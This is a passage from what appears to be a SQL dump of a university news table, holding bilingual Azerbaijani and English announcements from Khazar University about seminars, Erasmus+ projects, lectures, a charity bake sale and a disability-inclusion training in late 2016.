Azərbaycan\r\nRespublikası Təhsil Nazirliyi arasında birgə əməkdaşlıq çərçivəsində Bolonya\r\nprosesinə uyğun ikili diplomlar və MBA proqramı üzrə TAIEX seminarı keçirildi. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Seminar zamanı Azərbaycanda və Avropa İttifaqına üzv ölkələrdə MBA\r\nproqramları, ikili dərəcə diplom təhsili, Bolonya prinsipləri çərçivəsində\r\nAvropa İttifaqı və ittifaqa üzv olmayan ölkələrdə birgə və ikili dərəcə\r\ndiplomlarının tanınması prosedurları və digər məsələlər müzakirə olundu. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Seminarda Xəzər Universitetindən Keyfiyyətin Təminatı Mərkəzinin rəhbəri\r\nLyudmila Sotova və İqtisadiyyat və menecment departamentinin rəhbəri Ceyhun Məmmədov\r\niştirak etdilər.</p>'),(2825,1681,'en','August','August',''),(2826,1682,'az','Sentyabr','Sentyabr','<p>15.09.2014&nbsp;<strong>|</strong>&nbsp;Yeni tədris ili (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=873996245944115\" target=\"_blank\"><strong>FOTO</strong></a>)</p><p>21.09.2014&nbsp;<strong>|</strong>&nbsp;Şəhər gəzintisi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=877212008955872\" target=\"_blank\"><strong>FOTO</strong></a>)<br></p><p>25.09.2014&nbsp;<strong>|</strong>&nbsp;Kitabxana və tənəffüs&nbsp;&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=879036135440126\" target=\"_blank\"><strong>FOTO</strong></a>)&nbsp;<br></p><p>27.09.2014&nbsp;<strong>|</strong>&nbsp;Xalça Muzeyi&nbsp;&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=882999015043838\" target=\"_blank\"><strong>FOTO</strong></a>)&nbsp;<br></p><p>29.09.2014&nbsp;<strong>|</strong>&nbsp;\"Dünya\" məktəbinin açılışı&nbsp;&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=889685137708559\" target=\"_blank\"><strong>FOTO</strong></a>)</p>'),(2827,1682,'en','September','September','<p>15.09.2014&nbsp;<strong>|</strong>&nbsp;Opening ceremony of new term&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=873996245944115\" target=\"_blank\"><strong>FOTO</strong></a>)</p><p>21.09.2014&nbsp;<strong>|</strong>&nbsp;City tour&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=877212008955872\" target=\"_blank\"><strong>FOTO</strong></a>)<br></p><p>25.09.2014&nbsp;<strong>|</strong>&nbsp;Library and break-time&nbsp;&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=879036135440126\" target=\"_blank\"><strong>FOTO</strong></a>)&nbsp;<br></p><p>27.09.2014&nbsp;<strong>|</strong>&nbsp;Carpet Museum&nbsp;&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=882999015043838\" target=\"_blank\"><strong>FOTO</strong></a>)&nbsp;<br></p> <p>29.09.2014&nbsp;<strong>|</strong>&nbsp;Inauguration of \"World\" School (<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=889685137708559\" target=\"_blank\">FOTO</a></strong>)</p>'),(2828,1683,'az','OKtyabr','Oktyabr','<p>12.10.2014&nbsp;<strong>|</strong><strong>&nbsp;</strong>37-ci Məzun buraxılışı (<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=891534684190271\" target=\"_blank\">FOTO</a></strong>)</p><p>16.10.2014&nbsp;<strong>|</strong><strong>&nbsp;</strong>Müəllimlərin imtahanı&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=891623024181437\" target=\"_blank\">FOTO</a></strong>)<br></p><p>16.10.2014&nbsp;<strong>|</strong><strong>&nbsp;</strong>Ərəb dili və Azərbaycan-Misir münasibətləri&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=891634590846947\" target=\"_blank\">FOTO</a></strong>)<br></p><p>16.10.2014&nbsp;<strong>|</strong><strong>&nbsp;</strong>Arxeoloq Mübariz Xəlilov ilə görüş&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=891634590846947\" target=\"_blank\">FOTO</a></strong>)</p><p>18.10.2014&nbsp;<strong>|</strong><strong>&nbsp;</strong>Atəşgah muzeyi&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=894656357211437\" target=\"_blank\">FOTO</a></strong>)<br></p><p>20.10.2014&nbsp;<strong>|</strong><strong>&nbsp;</strong>Media Mərkəzi - işçilər&nbsp;(<strong><a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=893652283978511\" target=\"_blank\">FOTO</a></strong>)</p>'),(2829,1683,'en','October','October',''),(2830,1684,'en','November','November',''),(2831,1684,'az','Noyabr','Noyabr',''),(2832,1685,'az','Dekabr','Dekabr',''),(2833,1685,'en','December','December',''),(2835,1686,'az','“Xəzər”in əməkdaşları Gürcüstanda layihənin görüşündə iştirak etdilər','2016-cı il dekabrın 5-dən 7-dək Gürcüstanın Kutaisi şəhərinidəki Akaki Tsereteli Dövlət Universitetində Erasmus+ proqramı çərçivəsində Xəzər Universitetinin hazırladığı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 5-dən 7-dək Gürcüstanın Kutaisi şəhərinidəki Akaki Tsereteli Dövlət\r\nUniversitetində Erasmus+ proqramı çərçivəsində Xəzər Universitetinin\r\nhazırladığı “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması”\r\n(“<em>AESOP: Advocacy Establishment for Students through Ombudsman Position</em>”)\r\nlayihəsinin ilk iclası keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">İclasda Xəzər Universitetini təmsil edən\r\nİnkişaf direktoru Raziyə İsayeva, “Xəzər Xəbər” jurnalında ingilis dilində mətnlərin\r\nredaktoru Marta Lauri, layihə koordinatoru və Əlilliyi olan Tələbələr üçün Mərkəzin\r\nkoordinatoru Rima Məmmədova layihə haqqında çıxışlar etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">“Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili\r\ntəyin olunması” layihəsi Erasmus+ proqramı çərçivəsində 2015-ci ildə Xəzər\r\nUniversiteti tərəfindən qazanılmışdır. Bir il müddətində layihə uyğun\r\nqanunvericilikdə yaranmış problemlərə bağlı qeydiyyata alınmadığı üçün\r\nGürcüstanın Akaki Tsereteli Dövlət Universitetinə verilmişdir.</p>'),(2834,1686,'en','Khazar Staff Members Participate in Project Meeting in Georgia','On December 5-7, 2016, a kickoff meeting for the “Advocacy Establishment for Students through Ombudsman Position (AESOP)” Erasmus + project was held at Akaki...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nDecember 5-7, 2016, a kickoff meeting for the “Advocacy Establishment for\r\nStudents through Ombudsman Position (AESOP)” Erasmus + project was held at\r\nAkaki Tsereteli State University in Kutaisi, Georgia. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Raziya\r\nIsayeva, Development Director of Khazar University; Rima Mammadova, project\r\nmanager for the university and coordinator of the Center for Students with\r\nDisabilities; and Martha Lawry, English Editor, represented Khazar University\r\nin the meetings and made prsentations about the project. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Khazar\r\nUniversity won a grant for the “AESOP: Advocacy Establishment for Students\r\nthrough Ombudsman Position” through the Erasmus+ program in 2015. Due to\r\nproblems that arose in legislation related to the project in the same year, the\r\nproject was unable to be registered in Azerbaijan, and it was transferred to\r\nAkaki Tsereteli State University in Georgia for coordination.</p>'),(2836,1687,'az','Xəzər Universitetində “Ev şirniyyatları-2” adlı yarmarka təşkil ediləcək','2016-cı il dekabrın 8-i saat 10:00-dan 15:00-a Xəzər Universitetində (köhnə və yeni binanın girişində) Təhsi fakültəsinin tələbələri xeyriyyə məqsədilə “Ev şirniyyatları-2” adlı...','<p>2016-cı il dekabrın 8-i saat 10:00-dan 15:00-a Xəzər Universitetində (köhnə\r\nvə yeni binanın girişində) Təhsi fakültəsinin tələbələri xeyriyyə məqsədilə “Ev\r\nşirniyyatları-2” adlı yarmarka təşkil edəcəklər.</p>\r\n<p>Xeyriyyə yarmarkasında iştirak etmək istəyən hər kəs dəvət olunur.</p>'),(2837,1688,'az','Qüdrət İsmayılzadə ilə “gənc tarixçilər”in görüşü keçirildi','2016-cı il dekabrın 6-da Xəzər Universitetinin konfrans zalında Tarix və arxeologiya departamentinin təşkilatçılığıilə Bakı Dövlət Universiteti Arxeologiya və etnoqrafiya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il dekabrın 6-da Xəzər Universitetinin konfrans zalında Tarix və arxeologiya\r\ndepartamentinin təşkilatçılığıilə\r\nBakı Dövlət Universiteti Arxeologiya və etnoqrafiya kafedrasının müdiri, “Azərbaycan\r\narxeologiyası” jurnalının baş redaktoru, əməkdar müəllim, tarix elmləri\r\ndoktoru, professor Qüdrət İsmayılzadə ilə görüş keçirildi. Görüş Təhsil\r\nfakültəsinin tarix ixtisasında təhsil alan I il tələbələri ilə tanışlıq\r\nxarakteri daşıyırdı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Professor Qüdrət İsmayılzadə elmi\r\nfəaliyyətindən, arxeoloji ekspedisiyalardan, qarşılaşdığı hadisə və\r\nsituasiyalardan danışdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda Qüdrət İsmayılzadə ilə tələbələrin\r\nxatirə şəkilləri çəkildi.&nbsp;</p>'),(2838,1687,'en','Khazar University Organizes Bake Sale','On December 8, 2016 from 10:00 to 15:00, the School of Education will hold a bake sale in the entrances of the old and new buildings (Neftchilar Campus) ...','<p>On December 8,\r\n2016 from 10:00 to 15:00, the School of Education will hold a bake sale in the\r\nentrances of the old and new buildings (Neftchilar Campus) to support a charity\r\ncause. </p>\r\n<p>Everyone is\r\nwelcome to participate in this charity event.&nbsp;</p>'),(2839,1688,'en','Gudret Ismayilzadeh meets with Young Historians','On December 6, 2016, Professor Gudret Ismayilzadeh, Chair of the Department of Archeology and Ethnography at Baku State University, Editor in Chief of Azerbaijan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nDecember 6, 2016, Professor Gudret Ismayilzadeh, Chair of the Department of\r\nArcheology and Ethnography at Baku State University, Editor in Chief of\r\nAzerbaijan Archeology Journal, Meritorious Educator, and Doctor of Historical\r\nSciences, met with Khazar University students upon the initiative of the Khazar\r\nUniversity Department of History and Archeology. The meeting was an\r\nintroduction for first-year students of the School of Education. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Professor\r\nGudret Ismayilzadeh spoke about his academic activities, archeological\r\nexpeditions, and situations he encountered. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">At\r\nthe end of the event, Gudret Ismayilzadeh took a group photo with the students.&nbsp;</p>'),(2840,1689,'az','İqtisadiyyat və menecment fakültəsinin məzunları ilə görüş keçiriləcək','2016-cı il dekabrın10-u saat 12.00-da Xəzər Universitetinin “Mərmər” zalında İqtisadiyyat və menecment fakültəsini 2016-cı ildə bitirmiş bakalavr məzunları...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il\r\ndekabrın10-u saat 12.00-da Xəzər Universitetinin “Mərmər” zalında İqtisadiyyat və\r\nmenecment fakültəsini 2016-cı ildə bitirmiş bakalavr məzunları ilə universitet\r\nrəhbərliyinin görüşü keçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Maraqlananlar dəvət\r\nolunurlar.</p>\r\n<p style=\"text-align: right;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:right;text-indent:.25in;line-height:normal\"\"=\"\"><strong><em>Məzunlarla İş Mərkəzi</em></strong></p>'),(2841,1690,'az','“Xəzər”in əməkdaşı Montpellier Universitetində tədqiqat aparmışdır','Xəzər Universiteti Təhsil fakültəsinin Bioloji elmlər departamentinin müdiri və Hüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru Dr. İradə Xəlilova...','<p>Xəzər\r\nUniversiteti Təhsil fakültəsinin Bioloji elmlər departamentinin müdiri və\r\nHüceyrə Patologiyası Tədqiqat Mərkəzinin direktoru Dr. İradə Xəlilova noyabrın\r\n21-dən 30-na qədər Erasmus+ mobillik qrantı üzrə Fransanın Montpellier\r\nUniversitetində Odontolgiya fakültəsinin Biologiya, Səhiyyə və Nanotexnologiya\r\ntədqiqat laboratoriyasında&nbsp;<em>(Faculty of Odontology, Research Laboratory\r\nof Biology, Health and Nanoscience</em>) mezenxim kök hüceyrələrinin\r\nosteoblastlara çevrilməsi və diş toxumasının regenerasiyasında biomaterial ilə\r\nbirgə istifadə edilməsi haqda tədqiqat işi aparmışdır. </p>\r\n<p>Noyabrın 29-da İ. Xəlilova\r\nlaboratoriyanın əməkdaşları və tədqiqatçılar üçün “Xəstəliyin erkən\r\ndiaqnostikası üçün oksidativ stress biomarker tədqiqatı” (“<em>Oxidative stress\r\nbiomarker research for early disease diagnostics</em>”) mövzusunda seminar\r\nkeçirmişdir. Seminarda Dr. Veronique Véronique Barragan-Montero, Dr.\r\nPierre-Yves Collart-Dutilleul, Dr. Hamideh Salehi və digər tədqiqatçı və Ph.D.\r\ntələbələr iştirak etmişlər. Seminar maraqlı müzakirələrlə nəticələnmişdir.\r\nSonda, Odontologiya fakültəsinin laboratoriyasında tədqiq edilən bəzi nümunələrin\r\niltihab əleyhinə olan aktiv komponentləri Xəzər Universitetinin Hüceyrə Patologiyası\r\nTədqiqat Mərkəzinin laboratoriyasında “in vitro” testlər qoyulması üçün\r\nverilmiş və bu işdə geniş əməkdaşlıq müzakirə olunmuşdur. Dr. Xəlilova həmçinin, həmin fakültənin\r\ntələbələri ilə təcrübə dərslərində iştirak etmişdir.</p>'),(2842,1690,'en','Khazar Faculty Member Performs Research at Montpellier University','On November 21 to 30, Dr. Irada Khalilova, Head of the Biology Department and Director of the Cell Pathology Research Center at Khazar University, performed research...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On November 21 to 30, Dr. Irada Khalilova, Head of the\r\nBiology Department and Director of the Cell Pathology Research Center at Khazar\r\nUniversity, performed research on mesenchyme stem cells becoming osteoblasts\r\nand the use of biomaterials along with dental tissue regeneration in the\r\nFaculty of Odontology’s Research Laboratory of Biology, Health and Nanoscience\r\nat Montpellier University in France as part of an Erasmus + mobility grant. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On November 29, 2016, Dr. Khalilova gave a lecture on\r\n“Oxidative stress biomarker research for early disease diagnostics” for staff\r\nmembers and researchers of the Laboratory. Participants in the seminar included\r\nDr. Veronique Véronique Barragan-Montero, Dr. Pierre-Yves Collart-Dutilleul,\r\nDr. Hamideh Salehi, other researchers and PhD students. The seminar concluded\r\nwith interesting discussions. After the seminar, plans were made to establish\r\npartnership between the two universities and specifically to send samples to\r\nthe Khazar University research laboratory for in vitro analysis of\r\nanti-inflammatory active components that were studied in the Faculty of\r\nOdontology Laboratory. During the visit, Dr. Xəlilova also participated in laboratory\r\nclasses along with students of the same Faculty.&nbsp;</p>'),(2843,1689,'en','Meeting with Graduates of School of Economics and Management','On December 10, 2016 at 12:00 in the Marble Hall on Khazar University’s Neftchilar Campus, the university administration will hold a meeting with 2016 bachelor-level...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nDecember 10, 2016 at 12:00 in the Marble Hall on Khazar University’s Neftchilar\r\nCampus, the university administration will hold a meeting with 2016\r\nbachelor-level graduates of the School of Economics and Management. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Everyone\r\nis welcome to attend.&nbsp;</p>'),(2844,1691,'az','BDU-nun professoru “Xəzər”də mühazirə oxudu','Dekabrın 8-də Tarix və arxeoiogiya, Dillər və mədəniyyətlər departamentlərinin təşkilatçılığı ilə BDU-nun professoru, fəlsəfə elmləri doktoru Əsədulla Qurbanov tarix...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dekabrın 8-də Tarix və arxeoiogiya, Dillər və mədəniyyətlər\r\ndepartamentlərinin təşkilatçılığı ilə BDU-nun professoru, fəlsəfə elmləri\r\ndoktoru Əsədulla Qurbanov tarix, politologiya, beynəlxalq münasibətlər və\r\nregionşünaslıq ixtisasları üzrə təhsil alan tələbələrə “İslam dinində\r\nmultikulturalizmin əsasları” mövzusunda mühazirə oxudu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Alim 2016-cı ilin Azərbaycanda Multikulturalizm ili\r\nelan olunmasının əhəmiyyətindən, multikulturalizm və tolerantlıq kimi ümumbəşəri\r\ndəyərlərin islam dininin zəruri ehkamlarından olduğunu&nbsp; Quran ayələrinə, müsəlman övliya və mütəfəkkirlərinin\r\nfikirlərinə istinad etməklə&nbsp;&nbsp; əsaslandırdı,\r\nQərb yazıçı və filosoflarının islam dini haqqında yazdıqlarını nəzərə çatdırdı,\r\ntələbələrin suallarını cavablandırdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sonda departament müdirləri, fəlsəfə doktorları\r\nRoza Arazova və Elnurə Əzizova maraqlı mühazirəyə görə professora təşəkkürlərini\r\nbildirdilər.</p>'),(2845,1692,'az','FHN-nin əməkdaşları Xəzər Universitetində oldular','2016-cı il dekabrın 8-də Xəzər Universitetində Fövqəladə Hallar Nazirliyinin (FHN) təşkilatçılığı ilə “Həyat fəaliyyətinin təhlükəsizliyi tələbələrin gözü ilə” adlı tədbir keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 8-də Xəzər Universitetində Fövqəladə Hallar Nazirliyinin (FHN) təşkilatçılığı\r\nilə “Həyat fəaliyyətinin təhlükəsizliyi tələbələrin gözü ilə” adlı tədbir\r\nkeçirildi. Tədbir Bakı şəhərinin ali təhsil müəssisələrində tələbələrin\r\ninsanların həyat fəaliyyətlərinin təhlükəsizliyi məsələlərinə baxışları ilə\r\ntanış olmaq, bu sahədə mövcud olan nailiyyətlər, problemlər və perspektivləri\r\nmüzakirə etmək, fövqəladə halların qarşısının alınması və onların nəticələrinin\r\naradan qaldırılması istiqamətində yeni fikirlər ortaya çıxarmaq məqsədilə təşkil\r\nolunmuşdu. Tədbirdə FHN-nin əməkdaşları ilə yanaşı, Azərbaycan Tələbə Gənclər Təşkilatları\r\nİttifaqının rəhbərliyi, ali təhsil müəssisələrinin tələbələri də iştirak\r\nedirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbiri giriş sözü ilə Xəzər\r\nUniversitetinin rektoru Dr.Hassan Niknafs açdı. Sonra FHN Bakı Regional Mərkəzinin\r\nrəis müavini polkovnik-leytenant Elnur Qasımov, Azərbaycan Tələbə Gənclər Təşkilatları\r\nİttifaqı Qeyri-Hökumət Təşkilatları ilə iş departamentinin direktoru Həsən\r\nƏliyev, Xəzər Universitetinin&nbsp; İctimai Əlaqələr və Media üzrə direktoru\r\nƏlövsət Əmirbəyli tədbirin keçirilməsinin əhəmiyyətindən danışdılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonra\r\nFHN Bakı Regional Mərkəzinin əməkdaşlarının hazırladığı videofilmin təqdimatı\r\noldu. Filmin təqdimatından sonra tələbələr –Emil Bayramov, Fatimə Qənbərli (Xəzər\r\nUniversiteti); Mirramin Yusifov (FHN Akademiyası); İlahə Balakişiyeva (Azərbaycan\r\nDillər Universiteti); Sozalı Qurbanov (Azərbaycan Dövlət İqtisad Universiteti);\r\nÜlvi Mirzəyev (Azərbaycan Kooperasiya Universiteti); Həyat Qarayeva (Bakı Dövlət\r\nUniversiteti); Fərid Ələkbərli, Rauf Vəliyev (Azərbaycan Tibb Universiteti)\r\nmüxtəlif mövzularda təqdimatlar keçirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirin\r\nsonunda tələbələrin sualları cavablandırıldı.</p>'),(2848,1691,'en','BSU Professor Gives Guest Lecture at Khazar','On December 8, 2016, Professor Dr. Asadulla Gurbanov of Baku State University gave a lecture on “The Foundations of Multiculturalism in Islam” for students majoring...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On\r\nDecember 8, 2016, Professor Dr. Asadulla Gurbanov of Baku State University gave\r\na lecture on “The Foundations of Multiculturalism in Islam” for students\r\nmajoring in History, Political Science, International Relations and Regional\r\nStudies. The event was coordinated by the Department of History and Archeology\r\nand the Department of Languages and Civilizations. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">The\r\nscholar spoke about the significance of the announcement of 2016 as the Year of\r\nMulticulturalism in Azerbaijan and the important doctrines of universal human\r\nvalues such as multiculturalism and tolerance in Islam, citing Quran passages\r\nand the teachings of Muslim saints and thinkers. He also spoke about the\r\nwritings of Western authors and philosophers about Islam, and he answered\r\nstudents’ questions. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">At\r\nthe end of the event, the department chairs Roza Arazova and Elnura Azizova\r\nthanked the professor for his interesting lecture.&nbsp;</p>'),(2849,1694,'en','“Accessible Education- Accessible Future” Training at Khazar','On December 9-10, 2016, a training event called “Accessible Education- Accessible Future” will be held with the support of the Youth Foundation of the President...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On December 9-10, 2016, a training event\r\ncalled “Accessible Education- Accessible Future” will be held with the support\r\nof the Youth Foundation of the President of the Azerbaijan Republic, Y-PEER\r\nAzerbaijani network and Khazar University’s Center for Students with\r\nDisabilities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The main goal of the training is to\r\ninform participants about inclusive education as well as correct pedagogical\r\napproaches for working with students with disabilities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The 2-day training will be held from\r\n14:00 to 18:00 each day. The working language is Azerbaijani. The training is\r\naimed at young people aged 18-25 who are studying or have studied pedagogy, who\r\nare interested in being trainers or educators in the future, and who want to\r\nlearn more about new approaches and skills for working with children who have\r\ndisabilities.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">For further information, contact Saadet\r\nAbdullazadeh: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">E-mail: <a href=\"mailto:abdullazadasaadat@gmail.com\">abdullazadasaadat@gmail.com</a>.&nbsp;\r\nMobile\r\nphone:&nbsp; (055) 598-72-19</p>'),(2847,1694,'az','“Əlçatan təhsil –Əlçatan gələcək” layihəsi çərçivəsində təlim keçiriləcək','2016-ci il dekabrın 9-u və 10-da Xəzər Universitetində Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun maliyyə, Y-PEER Azərbaycan şəbəkəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-ci\r\nil dekabrın 9-u və 10-da Xəzər Universitetində Azərbaycan Respublikasının\r\nPrezidenti yanında Gənclər Fondunun maliyyə, Y-PEER Azərbaycan şəbəkəsinin və Xəzər\r\nUniversiteti Əlilliyi olan Tələbələr Mərkəzinin təşkilatı dəstəyi ilə “Əlçatan\r\ntəhsil –Əlçatan gələcək” layihəsi çərçivəsində təşkil olunmuş təlim kursu\r\nkeçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimin\r\nəsas məqsədi inklüziv təhsillə bağlı məlumatlandırma, əlilliyi olan insanlarla\r\nişləyərkən, onlara olan düzgün pedaqoji yanaşma və davranışın inkişaf etdirilməsidir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İki\r\ngünlük təlim zamanı, iştirakçılar qeyri-formal təhsil metodları vasitəsilə yeni\r\nbilik və bacarıqlara yiyələnəcək və bu təcrübəni öz həmyaşıdları ilə paylaşmaq\r\nşansı əldə edəcəklər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimlərdə iştirak etmək üçün 18-25 yaş\r\narası gənclər, pedaqoji təhsil alanlar və ya pedaqoji təhsili olanlar, özünü gələcək\r\ntəlimçi və ya təhsil işçisi kimi görənlər, əlilliyi olan uşaqlarla çalışarkən\r\nyeni yanaşma və bacarıqlar öyrənmək istəyən gənclər müraciət edə bilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimlər hər gün saat 14:00-dan 18:00-dək\r\nAzərbaycan dilində keçiriləcək. Təlimdə iştirak ödənişsizdir. İştirakçılar çay\r\nfasiləsi və sertifikatla təmin olunacaqlar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Əlavə məlumat üçün layihə rəhbəri Səadət\r\nAbdullazadə ilə əlaqə saxlamaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">E-mail: <a href=\"mailto:abdullazadasaadat@gmail.com\">abdullazadasaadat@gmail.com</a>.&nbsp; Telefon: (055) 598-72-19 (mobil).</p>'),(2850,1695,'az','Şirkətinin əməkdaşları tələbələrlə görüşdülər','2016-ci il dekabrın 8-dəXəzərUniversitetinin KaryeraMərkəzinintəşkilatçılığı ilə İqtisadiyyat və menecment fakültəsinin tələbələri və “Procter&Gamble” şirkətinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-ci il dekabrın 8-dəXəzərUniversitetinin&nbsp;KaryeraMərkəzinintəşkilatçılığı\r\nilə İqtisadiyyat və menecment fakültəsinin tələbələri və “Procter&amp;Gamble” şirkətinin əməkdaşlarının görüşü keçirildi.\r\nGörüşdə şirkətin əməkdaşları fakültənin bakavar və magistr tələbələrinə yay təcürubə\r\nproqramı, proqrama müraciət və intervyü haqqında məlumat verdilər.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda tələbələrin\r\nsualları cavablandırıldı, “Procter&amp;Gamble” şirkəti adından tələbələrə hədiyyələr\r\nverildi və xatirə şəkli çəkildi.</p>'),(2851,1692,'en','Representatives of Ministry of Emergency Situations Visit Khazar ','On December 8, 2016, the Ministry of Emergency Situations (MES) of the Azerbaijan Republic organized an event at Khazar University entitled “Everyday Safety...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On December 8, 2016, the Ministry of\r\nEmergency Situations (MES) of the Azerbaijan Republic organized an event at\r\nKhazar University entitled “Everyday Safety in the Eyes of Students.” The\r\nobjective of the event, which is being held at various higher educational\r\ninstitutions of Baku, is to become familiar with students’ perspectives on\r\nsafety related to everyday activities, to discuss achievements, problems and\r\nprospects in this area, and to introduce new ideas about how to prevent\r\nemergencies and reduce their negative consequences. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Participants in the event included\r\nrepresentatives of the MES, leadership of Azerbaijan Students’ Youth\r\nOrganizations Union, and university students. </p>\r\n<p style=\"\" 